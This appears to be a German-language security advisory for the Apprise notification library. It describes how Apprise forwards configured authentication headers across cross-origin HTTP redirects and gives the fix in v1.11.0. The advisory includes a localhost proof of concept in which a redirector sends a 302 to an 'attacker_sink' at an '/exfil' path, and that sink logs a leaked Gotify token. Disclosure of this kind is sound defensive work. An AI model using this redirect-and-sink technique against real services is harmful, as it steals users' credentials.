Apprise leitet konfigurierte Auth-Header über Cross-Origin-HTTP-Weiterleitungen weiter

Zusammenfassung

Die HTTP-basierten Benachrichtigungs-Plugins sowie die HTTP-Attachment- und Konfigurations-Loader von Apprise (apprise/attachment/http.py, apprise/config/http.py) folgen standardmäßig HTTP-3xx-Weiterleitungen und senden die vom Benutzer konfigurierten Authentifizierungs-Header und Abfrageparameter bei der weitergeleiteten Anfrage erneut. Wenn ein vom Betreiber konfiguriertes Ziel später kompromittiert wird (Dienstübernahme, bösartiges Update) oder ein Angreifer eine Man-in-the-Middle-Position (MITM) auf einem ungeschützten Netzwerkpfad einnimmt, kann dieses Ziel ein 302 Location: an einen beliebigen Host zurückgeben, woraufhin Apprise das Geheimnis des Benutzers (X-Gotify-Key, Authorization, Bearer-Token in der Abfrage, benutzerdefinierte +Header=-Werte) an diesen Cross-Origin-Host weiterleitet. Der Angreifer muss die ursprüngliche Apprise-URL nicht kontrollieren — lediglich die Antwort eines Ziels, dem der Betreiber bereits vertraut.

Dies entspricht auf Anwendungsebene dem Verhalten von urllib3 GHSA-34jh-p97f-mpxf / CVE-2026-44431 („Proxy-Authorization forwarded across cross-origin redirect“).

Betroffene Versionen

Alle Versionen bis einschließlich v1.10.0 (neueste PyPI-Version zum Zeitpunkt der Meldung, 2026-04-26). Behoben in v1.11.0 (veröffentlicht am 2026-05-29), welches PR #1610 (gemergt am 2026-05-16, Commit 68c0aef218055e4586cf4605fd6b56358f5f462d) enthält.

Details

apprise/plugins/gotify.py (HEAD vor dem Fix, Zeilen 226-244, wortgetreu):

headers = {
    "User-Agent": self.app_id,
    "Content-Type": "application/json",
    "X-Gotify-Key": self.token,    # user-supplied secret
}
...
r = requests.post(
    url,
    data=dumps(payload),
    headers=headers,
    verify=self.verify_certificate,
    timeout=self.request_timeout,
    # NO allow_redirects=False -- requests default is True
)

requests folgt standardmäßig 3xx-Weiterleitungen und hängt das headers=-Dict unabhängig vom Ursprung erneut an die weitergeleitete Anfrage an. Dasselbe Muster findet sich in ca. 50 Plugins wieder (custom_json, custom_xml, custom_form, gotify, ntfy, mattermost, apprise_api sowie den meisten anderen HTTP-basierten Plugins) und zusätzlich in apprise/attachment/http.py und apprise/config/http.py.

Reproduktion (lokal, sicher)

# attacker_redirector.py -- 127.0.0.1:8081 returns 302 to a cross-origin sink
import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        self.send_response(302)
        self.send_header("Location", "http://127.0.0.1:8082/exfil")
        self.end_headers()
http.server.HTTPServer(("127.0.0.1", 8081), H).serve_forever()

# attacker_sink.py -- 127.0.0.1:8082 logs the leaked headers
import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        print("LEAKED HEADERS:", dict(self.headers))
        self.send_response(204); self.end_headers()
http.server.HTTPServer(("127.0.0.1", 8082), H).serve_forever()

# victim
from apprise import Apprise
a = Apprise()
a.add("gotify://127.0.0.1:8081?token=SECRETTOKEN")
a.notify(body="x")

Beobachtet auf master HEAD (2026-05-13): attacker_sink.py gibt X-Gotify-Key: SECRETTOKEN aus – das vom Benutzer bereitgestellte Token folgte der Cross-Origin-Weiterleitung.

Patch

Der Fix wurde in caronc/apprise#1610 integriert (gemergt am 2026-05-16, Commit 68c0aef):

• Ergänzt den URL-Parameter ?redirect=yes|no bei jeder Plugin-URL
• Ergänzt den globalen Standardwert AppriseAsset.http_redirects
• Äquivalente Flags wurden in apprise/attachment/http.py und apprise/config/http.py integriert

Der Standardwert bleibt aus Gründen der Abwärtskompatibilität redirects=True. Betreiber, die Benachrichtigungen über Ziele weiterleiten, denen sie nicht vollständig vertrauen, sollten ?redirect=no an ihre Apprise-URLs anhängen oder AppriseAsset(http_redirects=False) global setzen.

Veröffentlicht in v1.11.0 (2026-05-29, verfügbar auf PyPI).

Verwandte Ressourcen:

• Dokumentation: caronc/apprise-docs#60 (gemergt am 2026-05-16)
• API-Pendant: caronc/apprise-api#331 (gemergt am 2026-05-29; ausgeliefert in apprise-api v1.5.1, basierend auf Apprise v1.11.0)

Behebung

Aktualisieren Sie auf Apprise v1.11.0 oder höher (pip install -U apprise).

Der Standardwert bleibt aus Gründen der Abwärtskompatibilität redirect=yes. Nach dem Upgrade sollten Betreiber, die Benachrichtigungen über Ziele weiterleiten, denen sie nicht vollständig vertrauen, zusätzlich global AppriseAsset(http_redirects=False) setzen oder ?redirect=no an jede Plugin-URL anhängen.

Wenn ein Upgrade noch nicht möglich ist, betreiben Sie Apprise nur mit vollständig vertrauenswürdigen Benachrichtigungszielen (das vom Maintainer dokumentierte, unterstützte Betriebsmodell).

Klassifizierung

• CWE-200 Offenlegung sensibler Informationen gegenüber einem unbefugten Akteur – Authentifizierungs-Token / API-Schlüssel / benutzerdefinierte +Header=-Werte des Benutzers werden an die per Cross-Origin weitergeleitete Anfrage übermittelt.
• CWE-601 URL-Weiterleitung zu einer nicht vertrauenswürdigen Seite – eine 3xx-Antwort des anfänglichen (vom Betreiber konfigurierten) Ziels sendet die Anfrage samt Anmeldedaten an einen Host, den der Betreiber nie konfiguriert hat.

CVSS 3.1: AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N -> 3.1 NIEDRIG.

Ein Angriff setzt voraus, dass das vom Betreiber konfigurierte Ziel kompromittiert ist oder sich ein Angreifer auf dem Netzwerkpfad befindet. Die Auswirkung beschränkt sich auf einen teilweisen Verlust der Vertraulichkeit: ein einzelnes vom Benutzer bereitgestelltes Geheimnis pro weitergeleiteter Anfrage, begrenzt auf diesen einen Benachrichtigungskanal. Hierbei handelt es sich bewusst um eine gezielte Härtung bezüglich Weiterleitungen und Header-Weitergabe, nicht um die Behauptung, dass Remote-Ziele oder Remote-Konfigurationen an sich Schwachstellen darstellen.